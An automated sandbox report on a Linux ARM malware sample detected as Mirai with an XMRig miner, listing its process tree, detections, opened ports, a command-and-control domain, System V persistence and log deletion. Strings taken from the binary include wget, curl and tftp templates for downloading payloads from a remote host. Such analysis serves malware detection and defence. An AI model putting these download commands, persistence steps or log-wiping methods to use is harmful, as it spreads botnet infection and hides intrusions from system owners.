Loading Joe Sandbox Report ...

Edit tour

Linux Analysis Report
morte.arm7.elf

Overview

General Information

Sample name:morte.arm7.elf
Analysis ID:1729412
Has dependencies:false
MD5:f587b7e125f9b046478d17f309fb1f53
SHA1:6fa19f15fca6f0e6b13566bd027bc7ad746a1acd
SHA256:519d5736924fdc4b0ccdd1ab25906b7602e32501a928823eb44c70e90b7299d3
Tags:elfMiraiupx-decuser-abuse_ch
Infos:

Detection

Mirai, Xmrig
Score:100
Range:0 - 100

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Multi AV Scanner detection for submitted file
Yara detected Mirai
Yara detected Xmrig cryptocurrency miner
Deletes system log files
Drops files in suspicious directories
Drops invisible ELF files
Found strings related to Crypto-Mining
Manipulation of devices in /dev
Sample deletes itself
Sample reads /proc/mounts (often used for finding a writable filesystem)
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Creates hidden files and/or directories
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "rm" command used to delete files or directories
Found strings indicative of a multi-platform dropper
Sample and/or dropped files contains symbols with suspicious names
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sample tries to set the executable flag
Sleeps for long times indicative of sandbox evasion
Uses the "uname" system call to query kernel version information (possible evasion)
Writes ELF files to disk
Writes shell script file to disk with an unusual file extension

Classification

Joe Sandbox version:42.0.0 Malachite
Analysis ID:1729412
Start date and time:2025-07-06 08:05:09 +02:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 12s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:morte.arm7.elf
Detection:MAL
Classification:mal100.troj.evad.mine.linELF@0/3@5/0
  • Connection to analysis system has been lost, crash info: Unknown
Command:/tmp/morte.arm7.elf
PID:6262
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:

Standard Error:
  • system is lnxubuntu20
  • dash New Fork (PID: 6226, Parent: 4331)
  • rm (PID: 6226, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.CIw4YOWu6Q /tmp/tmp.tSe1PMu2if /tmp/tmp.cmLCWddT0v
  • dash New Fork (PID: 6227, Parent: 4331)
  • cat (PID: 6227, Parent: 4331, MD5: 7e9d213e404ad3bb82e4ebb2e1f2c1b3) Arguments: cat /tmp/tmp.CIw4YOWu6Q
  • dash New Fork (PID: 6228, Parent: 4331)
  • head (PID: 6228, Parent: 4331, MD5: fd96a67145172477dd57131396fc9608) Arguments: head -n 10
  • dash New Fork (PID: 6229, Parent: 4331)
  • tr (PID: 6229, Parent: 4331, MD5: fbd1402dd9f72d8ebfff00ce7c3a7bb5) Arguments: tr -d \\000-\\011\\013\\014\\016-\\037
  • dash New Fork (PID: 6230, Parent: 4331)
  • cut (PID: 6230, Parent: 4331, MD5: d8ed0ea8f22c0de0f8692d4d9f1759d3) Arguments: cut -c -80
  • dash New Fork (PID: 6231, Parent: 4331)
  • cat (PID: 6231, Parent: 4331, MD5: 7e9d213e404ad3bb82e4ebb2e1f2c1b3) Arguments: cat /tmp/tmp.CIw4YOWu6Q
  • dash New Fork (PID: 6232, Parent: 4331)
  • head (PID: 6232, Parent: 4331, MD5: fd96a67145172477dd57131396fc9608) Arguments: head -n 10
  • dash New Fork (PID: 6233, Parent: 4331)
  • tr (PID: 6233, Parent: 4331, MD5: fbd1402dd9f72d8ebfff00ce7c3a7bb5) Arguments: tr -d \\000-\\011\\013\\014\\016-\\037
  • dash New Fork (PID: 6234, Parent: 4331)
  • cut (PID: 6234, Parent: 4331, MD5: d8ed0ea8f22c0de0f8692d4d9f1759d3) Arguments: cut -c -80
  • dash New Fork (PID: 6237, Parent: 4331)
  • rm (PID: 6237, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.CIw4YOWu6Q /tmp/tmp.tSe1PMu2if /tmp/tmp.cmLCWddT0v
  • morte.arm7.elf (PID: 6262, Parent: 6156, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/morte.arm7.elf
    • morte.arm7.elf New Fork (PID: 6264, Parent: 6262)
      • morte.arm7.elf New Fork (PID: 6270, Parent: 6264)
        • sh (PID: 6276, Parent: 6270, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "cp /tmp/morte.arm7.elf /usr/bin/.sh"
          • sh New Fork (PID: 6278, Parent: 6276)
          • cp (PID: 6278, Parent: 6276, MD5: 40f10ae7ea3e44218d1a8c306f79c83f) Arguments: cp /tmp/morte.arm7.elf /usr/bin/.sh
  • fusermount (PID: 6291, Parent: 2038, MD5: 576a1b135c82bdcbc97a91acea900566) Arguments: fusermount -u -q -z -- /run/user/1000/gvfs
  • gdbus (PID: 6292, Parent: 6290, MD5: 1deb65de9f7f468799d3bfde20118a9b) Arguments: /usr/bin/gdbus call -e -d org.gnome.SessionManager -o /org/gnome/SessionManager -m org.gnome.SessionManager.IsSessionRunning
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
NameDescriptionAttributionBlogpost URLsLink
XMRIGNo Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.xmrig
SourceRuleDescriptionAuthorStrings
morte.arm7.elfJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
    morte.arm7.elfJoeSecurity_Mirai_3Yara detected MiraiJoe Security
      SourceRuleDescriptionAuthorStrings
      /usr/bin/.shJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
        /usr/bin/.shJoeSecurity_Mirai_3Yara detected MiraiJoe Security
          SourceRuleDescriptionAuthorStrings
          6262.1.00007fb110017000.00007fb110034000.r-x.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
            6262.1.00007fb110017000.00007fb110034000.r-x.sdmpJoeSecurity_Mirai_3Yara detected MiraiJoe Security
              6264.1.00007fb110017000.00007fb110034000.r-x.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
                6264.1.00007fb110017000.00007fb110034000.r-x.sdmpJoeSecurity_Mirai_3Yara detected MiraiJoe Security
                  6283.1.00007fb110017000.00007fb110034000.r-x.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
                    Click to see the 7 entries
                    No Suricata rule has matched

                    Click to jump to signature section

                    Show All Signature Results

                    AV Detection

                    barindex
                    Source: morte.arm7.elfAvira: detected
                    Source: /usr/bin/.shAvira: detection malicious, Label: LINUX/Mirai.bonb
                    Source: morte.arm7.elfVirustotal: Detection: 39%Perma Link
                    Source: morte.arm7.elfReversingLabs: Detection: 47%

                    Bitcoin Miner

                    barindex
                    Source: Yara matchFile source: morte.arm7.elf, type: SAMPLE
                    Source: Yara matchFile source: 6262.1.00007fb110017000.00007fb110034000.r-x.sdmp, type: MEMORY
                    Source: Yara matchFile source: 6264.1.00007fb110017000.00007fb110034000.r-x.sdmp, type: MEMORY
                    Source: Yara matchFile source: 6283.1.00007fb110017000.00007fb110034000.r-x.sdmp, type: MEMORY
                    Source: Yara matchFile source: Process Memory Space: morte.arm7.elf PID: 6262, type: MEMORYSTR
                    Source: Yara matchFile source: Process Memory Space: morte.arm7.elf PID: 6264, type: MEMORYSTR
                    Source: Yara matchFile source: Process Memory Space: morte.arm7.elf PID: 6283, type: MEMORYSTR
                    Source: Yara matchFile source: /usr/bin/.sh, type: DROPPED
                    Source: morte.arm7.elf, 6262.1.00007fb110017000.00007fb110034000.r-x.sdmpString found in binary or memory: cryptonight
                    Source: morte.arm7.elfString: H^abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789/data/local/tmp/var/mnt/root/boot/bin/sbin/home/dev/dev/console/var/lib/docker/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/sbin/poweroff/usr/bin/poweroff/usr/sbin/halt/usr/bin/halt/usr/sbin/wget/usr/bin/wget/usr/sbin/curl/usr/bin/curl/usr/sbin/ftpget/usr/bin/ftpget/usr/sbin/tftp/usr/bin/tftp/usr/sbin/busybox/usr/bin/busybox/usr/sbin/netstat/usr/bin/netstat/usr/sbin/ps/usr/bin/ps/usr/sbin/passwd/usr/bin/passwd/usr/sbin/rm/usr/bin/rm/run/shm
                    Source: morte.arm7.elfString: GFHICK"%s%sarm7wget http://%s/%s/%s -O %scurl -o %s http://%s/%s/%stftp %s -c get %s %scd %s && tftp -g -r %s %sftpget -v -u anonymous -p anonymous -P 21 %s %s %s/var/run//mnt//root//var//var/tmp/
                    Source: .sh.38.drString: H^abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789/data/local/tmp/var/mnt/root/boot/bin/sbin/home/dev/dev/console/var/lib/docker/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/sbin/poweroff/usr/bin/poweroff/usr/sbin/halt/usr/bin/halt/usr/sbin/wget/usr/bin/wget/usr/sbin/curl/usr/bin/curl/usr/sbin/ftpget/usr/bin/ftpget/usr/sbin/tftp/usr/bin/tftp/usr/sbin/busybox/usr/bin/busybox/usr/sbin/netstat/usr/bin/netstat/usr/sbin/ps/usr/bin/ps/usr/sbin/passwd/usr/bin/passwd/usr/sbin/rm/usr/bin/rm/run/shm
                    Source: .sh.38.drString: GFHICK"%s%sarm7wget http://%s/%s/%s -O %scurl -o %s http://%s/%s/%stftp %s -c get %s %scd %s && tftp -g -r %s %sftpget -v -u anonymous -p anonymous -P 21 %s %s %s/var/run//mnt//root//var//var/tmp/
                    Source: global trafficTCP traffic: 192.168.2.23:59092 -> 194.110.247.14:12121
                    Source: /tmp/morte.arm7.elf (PID: 6279)Socket: 0.0.0.0:1338Jump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)Socket: 0.0.0.0:1111Jump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)Socket: 0.0.0.0:1213Jump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)Socket: 0.0.0.0:1234Jump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)Socket: 0.0.0.0:333Jump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)Socket: 0.0.0.0:666Jump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)Socket: 0.0.0.0:777Jump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)Socket: 0.0.0.0:9999Jump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)Socket: 0.0.0.0:5656Jump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)Socket: 0.0.0.0:8585Jump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)Socket: 0.0.0.0:6363Jump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)Socket: 0.0.0.0:6969Jump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)Socket: 0.0.0.0:3779Jump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)Socket: 0.0.0.0:3778Jump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)Socket: 0.0.0.0:38273Jump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)Socket: 0.0.0.0:10345Jump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)Socket: 0.0.0.0:23455Jump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)Socket: 0.0.0.0:1991Jump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)Socket: 0.0.0.0:21769Jump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)Socket: 0.0.0.0:42352Jump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)Socket: 0.0.0.0:48101Jump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)Socket: 0.0.0.0:39182Jump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)Socket: 0.0.0.0:47767Jump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)Socket: 0.0.0.0:6667Jump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)Socket: 0.0.0.0:1337Jump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)Socket: 0.0.0.0:4321Jump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)Socket: 0.0.0.0:232Jump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)Socket: 0.0.0.0:24136Jump to behavior
                    Source: unknownTCP traffic detected without corresponding DNS query: 54.171.230.55
                    Source: unknownTCP traffic detected without corresponding DNS query: 54.171.230.55
                    Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
                    Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
                    Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
                    Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
                    Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
                    Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
                    Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
                    Source: global trafficDNS traffic detected: DNS query: cnc.jssaytcp.lat
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 33606
                    Source: unknownNetwork traffic detected: HTTP traffic on port 33606 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 43928 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 42836 -> 443
                    Source: morte.arm7.elfELF static info symbol of initial sample: __gnu_unwind_execute
                    Source: .sh.38.drELF static info symbol of dropped file: __gnu_unwind_execute
                    Source: Initial sampleString containing 'busybox' found: /usr/sbin/busybox
                    Source: Initial sampleString containing 'busybox' found: /usr/bin/busybox
                    Source: Initial sampleString containing 'busybox' found: H^abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789/data/local/tmp/var/mnt/root/boot/bin/sbin/home/dev/dev/console/var/lib/docker/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/sbin/poweroff/usr/bin/poweroff/usr/sbin/halt/usr/bin/halt/usr/sbin/wget/usr/bin/wget/usr/sbin/curl/usr/bin/curl/usr/sbin/ftpget/usr/bin/ftpget/usr/sbin/tftp/usr/bin/tftp/usr/sbin/busybox/usr/bin/busybox/usr/sbin/netstat/usr/bin/netstat/usr/sbin/ps/usr/bin/ps/usr/sbin/passwd/usr/bin/passwd/usr/sbin/rm/usr/bin/rm/run/shm
                    Source: /tmp/morte.arm7.elf (PID: 6279)SIGKILL sent: pid: 1494, result: successfulJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)SIGKILL sent: pid: 1494, result: no such processJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)SIGKILL sent: pid: 1886, result: successfulJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)SIGKILL sent: pid: 1886, result: no such processJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)SIGKILL sent: pid: 6281, result: successfulJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)SIGKILL sent: pid: 6281, result: no such processJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)SIGKILL sent: pid: 6283, result: successfulJump to behavior
                    Source: classification engineClassification label: mal100.troj.evad.mine.linELF@0/3@5/0

                    Data Obfuscation

                    barindex
                    Source: /tmp/morte.arm7.elf (PID: 6283)Deleted: /dev/nullJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6283)Deleted: /dev/kmsgJump to behavior

                    Persistence and Installation Behavior

                    barindex
                    Source: /bin/fusermount (PID: 6291)File: /proc/6291/mountsJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6270)File: /etc/rc2.d/S99sysd -> /etc/init.d/sysdJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6270)File: /etc/init.d/sysd (bits: - usr: rx grp: rx all: rwx)Jump to behavior
                    Source: /usr/bin/cp (PID: 6278)File: /usr/bin/.shJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/1582/commJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/1582/cmdlineJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/1582/mapsJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/3088/commJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/3088/cmdlineJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/3088/mapsJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/230/commJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/230/cmdlineJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/230/mapsJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/230/commJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/230/cmdlineJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/230/mapsJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/110/commJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/110/cmdlineJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/110/mapsJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/110/commJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/110/cmdlineJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/110/mapsJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/231/commJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/231/cmdlineJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/231/mapsJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/231/commJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/231/cmdlineJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/231/mapsJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/111/commJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/111/cmdlineJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/111/mapsJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/111/commJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/111/cmdlineJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/111/mapsJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/232/commJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/232/cmdlineJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/232/mapsJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/232/commJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/232/cmdlineJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/232/mapsJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/1579/commJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/1579/cmdlineJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/1579/mapsJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/112/commJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/112/cmdlineJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/112/mapsJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/112/commJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/112/cmdlineJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/112/mapsJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/233/commJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/233/cmdlineJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/233/mapsJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/233/commJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/233/cmdlineJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/233/mapsJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/1699/commJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/1699/cmdlineJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/1699/mapsJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/113/commJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/113/cmdlineJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/113/mapsJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/113/commJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/113/cmdlineJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/113/mapsJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/234/commJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/234/cmdlineJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/234/mapsJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/234/commJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/234/cmdlineJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/234/mapsJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/1335/commJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/1335/cmdlineJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/1335/mapsJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/1335/commJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/1335/cmdlineJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/1335/mapsJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/1698/commJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/1698/cmdlineJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/1698/mapsJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/114/commJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/114/cmdlineJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/114/mapsJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/114/commJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/114/cmdlineJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/114/mapsJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/235/commJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/235/cmdlineJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/235/mapsJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/235/commJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/235/cmdlineJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/235/mapsJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/1334/commJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/1334/cmdlineJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/1334/mapsJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/1334/commJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/1334/cmdlineJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/1334/mapsJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/1576/commJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/1576/cmdlineJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/1576/mapsJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/115/commJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/115/cmdlineJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/115/mapsJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/115/commJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/115/cmdlineJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/115/mapsJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/236/commJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/236/cmdlineJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/236/mapsJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/236/commJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/236/cmdlineJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)File opened: /proc/236/mapsJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6276)Shell command executed: /bin/sh -c "cp /tmp/morte.arm7.elf /usr/bin/.sh"Jump to behavior
                    Source: /usr/bin/dash (PID: 6226)Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.CIw4YOWu6Q /tmp/tmp.tSe1PMu2if /tmp/tmp.cmLCWddT0vJump to behavior
                    Source: /usr/bin/dash (PID: 6237)Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.CIw4YOWu6Q /tmp/tmp.tSe1PMu2if /tmp/tmp.cmLCWddT0vJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6270)File: /etc/init.d/sysd (bits: - usr: rx grp: rx all: rwx)Jump to behavior
                    Source: /usr/bin/cp (PID: 6278)File written: /usr/bin/.shJump to dropped file
                    Source: /tmp/morte.arm7.elf (PID: 6270)Writes shell script file to disk with an unusual file extension: /etc/init.d/sysdJump to dropped file

                    Hooking and other Techniques for Hiding and Protection

                    barindex
                    Source: /tmp/morte.arm7.elf (PID: 6283)Log files deleted: /var/log/kern.logJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6283)Log files deleted: /var/log/Xorg.1.logJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6283)Log files deleted: /var/log/auth.logJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6270)File: /etc/init.d/sysdJump to dropped file
                    Source: /usr/bin/cp (PID: 6278)File: /usr/bin/.shJump to dropped file
                    Source: /usr/bin/cp (PID: 6278)ELF file: /usr/bin/.shJump to dropped file
                    Source: /tmp/morte.arm7.elf (PID: 6279)File: /tmp/morte.arm7.elfJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)Sleeps longer then 60s: 60.0sJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6279)Sleeps longer then 60s: 60.0sJump to behavior
                    Source: /tmp/morte.arm7.elf (PID: 6262)Queries kernel information via 'uname': Jump to behavior
                    Source: morte.arm7.elf, 6283.1.000055ea06236000.000055ea06257000.rw-.sdmpBinary or memory string: U!/proc/3/exe1/var/lib/dpkg/alternatives/exe!/proc/4/exe1/var/lib/doc-base/documentsexe!/proc/6/exe1/var/lib/ghostscript/fonts/exe!/proc/9/exe1/tmp/vmware-root_721-42905598891/proc/2077/exe/arm/
                    Source: morte.arm7.elf, 6283.1.000055ea06236000.000055ea06257000.rw-.sdmpBinary or memory string: $0vmware-root_721-4290559889
                    Source: morte.arm7.elf, 6283.1.00007fb110049000.00007fb11004a000.rw-.sdmpBinary or memory string: /var/lib/vmware@
                    Source: morte.arm7.elf, 6283.1.00007fb11004a000.00007fb110058000.rw-.sdmpBinary or memory string: !/var/lib/vmware )/var/lib/fwupd/remotes.d/lvfs
